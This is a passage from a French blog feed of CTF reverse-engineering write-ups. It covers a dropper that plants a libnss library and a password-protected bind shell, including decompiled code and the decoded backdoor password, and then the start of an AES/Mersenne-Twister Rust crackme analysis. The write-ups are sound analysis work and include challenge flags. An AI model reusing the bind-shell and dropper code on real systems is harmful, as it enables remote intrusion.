&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sh_malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50784L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;evalstring.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;404L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cryptoshit_again&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;50784L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;64L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// jmp $0 rocks :þ&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On voit le bout du tunnel et on récuère l'ELF avec gdb.&lt;/p&gt;
&lt;h2&gt;Final flash&lt;/h2&gt;
&lt;p&gt;Munis de notre ELF, on l'ouvre dans IDA. Cette fois, pas de tricks chelous, et IDA identifie la fonction "main" du premier coup. Cette fonction ne fait qu'invoquer "sudoedit" avec des arguments pourris.&lt;/p&gt;
&lt;p&gt;Mais on se rappelle que des fonctions peuvent être appelées avant &lt;code&gt;main&lt;/code&gt;, en étant appelées par &lt;code&gt;__libc_csu_init&lt;/code&gt;, et c'est le cas ici, avec la fonction &lt;code&gt;setup&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__mode_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// [rsp+8h] [rbp-8h]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// [rsp+8h] [rbp-8h]&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;libnss_X&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;libnss_X/A .so.2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;w&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;fwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;libData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1uLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4080uLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/tmp/shellbind&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;w&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;fwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;shellData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1uLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4300uLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le binaire droppe 2 ELF, dont un dans /tmp/shellbind. Coup de bol, j'ai analysé ce binaire en premier, et en voyant sa fonction &lt;code&gt;main&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28uLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x59u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unk_2008&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/bin/sh&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;je trouve le mot de passe de la backdoor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;183C2B36226D603B6861686A616E3F6C69606A6C3B6A60386969616C693B6E6E613A6F6F3F24&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;ce qui donne le flag: &lt;code&gt;Aero{49b181387f50935b39a00850b778c66f}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;That's all folks ! :þ&lt;/p&gt;</content><category term="Reverse-Engineering"/><category term="Write-UP"/><category term="CTF"/></entry><entry><title>Write-UP INCTF: Jazz</title><link href="/write-up-inctf-jazz.html" rel="alternate"/><published>2020-08-03T15:11:00+02:00</published><updated>2020-08-03T15:11:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2020-08-03:/write-up-inctf-jazz.html</id><summary type="html">&lt;p&gt;J'ai participé ce samedi au CTF InCTF avec la team "ret2school", où j'ai résolu le challenge de reversing "Jazz", qui valait 900 points à la fin du CTF. Il s'agit d'un crackme en Rust, ce merveilleux langage, générant du code assez atroce à analyser. Muni de mon IDA Home, je me lance donc à l'attaque de ce crackme.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;J'ai participé ce samedi au CTF InCTF avec la team "ret2school", où j'ai résolu le challenge de reversing "Jazz", qui valait 900 points à la fin du CTF. Il s'agit d'un crackme en Rust, ce merveilleux langage, générant du code assez atroce à analyser. Muni de mon IDA Home, je me lance donc à l'attaque de ce crackme.&lt;/p&gt;


&lt;p&gt;Ce crackme est donc écrit en Rust, et a des symboles de debug, rendant notre tâche légèrement plus aisée (pas de temps à perdre à identifier les fonctions du runtime Rust, ni les libs utilisées). Le point d'entrée se présente donc comme ceci:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/inctf_jazz/jazz1.png"&gt;&lt;img src="/media/inctf_jazz/jazz1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On explore donc la fonction &lt;code&gt;_ZN4jazz4main17h655cc631b7a9a767E&lt;/code&gt;, qui correspond au main de l'application Rust, dont le control flow graph est assez immonde (merci Rust et les .unwrap() inlinés).&lt;/p&gt;
&lt;h2&gt;AES et Mersenne&lt;/h2&gt;
&lt;p&gt;Grâce aux symboles, en parcourant le code de la fonction, on se rend compte que le programme fait de l'AES CBC et génère des nombres pseudo-aléatoire avec un "Mersenne Twister", dont la graine est définie à &lt;code&gt;0xDEADBEEFCAFEBABE&lt;/code&gt;. Notre instinct de reverser nous dit que ce "Mersenne Twister" va servir à générer la clé de chiffrement AES ainsi que l'IV. On va donc placer un breakpoint sur la fonction qui initialise le contexte AES, et dumper la clé de chiffrement ainsi que l'IV pour déchiffrer notre clé en Python grâce à PyCrypto. Pour cela, nous allons chercher les arguments dans la &lt;a href="https://docs.rs/rust-crypto-wasm/0.3.1/crypto/aes/fn.cbc_encryptor.html"&gt;documentation Rust&lt;/a&gt;. Notre fonction prend un enum KeySize, deux &lt;code&gt;&amp;amp;[u8]&lt;/code&gt; pour la clé et l'IV, et un argument "X" semblant déterminer le padding utilisé.&lt;/p&gt;
&lt;p&gt;Le &lt;code&gt;&amp;amp;[u8]&lt;/code&gt; est un peu particulier en Rust, puisque dans le code assembleur généré, un pointeur vers la zone mémoire sera passé en paramètre, suivi de sa taille. Le prototype de la fonction a ajouter dans IDA (touche "y" sur le nom de la fonction) sera donc:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;crypto__aes__cbc_encryptor__h211c41356831deed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keySize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keySz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ivSz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;unk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et notre breakpoint une fois placé ressemblera à ceci dans IDA:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/inctf_jazz/jazz2.png"&gt;&lt;img src="media/inctf_jazz/jazz2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Nous pouvons lancer le déboguage en sélectionnant "Local Linux Debugger" dans IDA et constater avec désespoir que notre breakpoint n'est pas trigger... En effet, le crackme attend le flag dans &lt;code&gt;argv[1]&lt;/code&gt;, que nous devons donc spécifier dans "Debugger" -&amp;gt; "Process Options". Nous allons mettre "azerty" comme ligne de commande, et relancer l'exécution. Et cette fois-ci, IDA s'arrête bien sur notre breakpoint:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/inctf_jazz/jazz3.png"&gt;&lt;img src="media/inctf_jazz/jazz3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Nous pouvons donc dumper notre clé et notre IV en faisant un clic droit sur &lt;code&gt;[rsp+30h+key]&lt;/code&gt; puis "Jump in a nex hex window", et même procédure pour la variable "iv". En analysant un peu plus le programme, on remarque également un &lt;code&gt;call [rsp+30h+arg28]&lt;/code&gt;, qui pointe vers un &lt;code&gt;CbcEncryptor::encrypt&lt;/code&gt;. Nul doute que le chiffrement se fera ici, et d'après notre &lt;a href="https://docs.rs/rust-crypto/0.2.36/crypto/symmetriccipher/trait.Encryptor.html#tymethod.encrypt"&gt;documentation Rust préférée&lt;/a&gt;, on peut là encore déterminer les arguments de la fonction:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/inctf_jazz/jazz4.png"&gt;&lt;img src="media/inctf_jazz/jazz4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On voit ainsi que notre chaîne à chiffrer est &lt;code&gt;"\xd7\x0f\xd2\x4c\x0d\xfc"&lt;/code&gt;, et on peut en déduire que le crackme fait des opérations sur notre entrée avant de le chiffrer en AES. Après exécution du call, on récupère le chiffré qui est &lt;code&gt;"\x84\xc5\x5d\xc4\xec\x5a\xD2\xa6\xf7\x17\x76\x93\x8a\xf5\xd7\x48"&lt;/code&gt;. On peut donc tester que nous avons bien tous les paramètres pour AES:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/python&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Crypto.Cipher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Crypto.Util.Padding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;

&lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\xd7\x0f\xd2\x4c\x0d\xfc&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
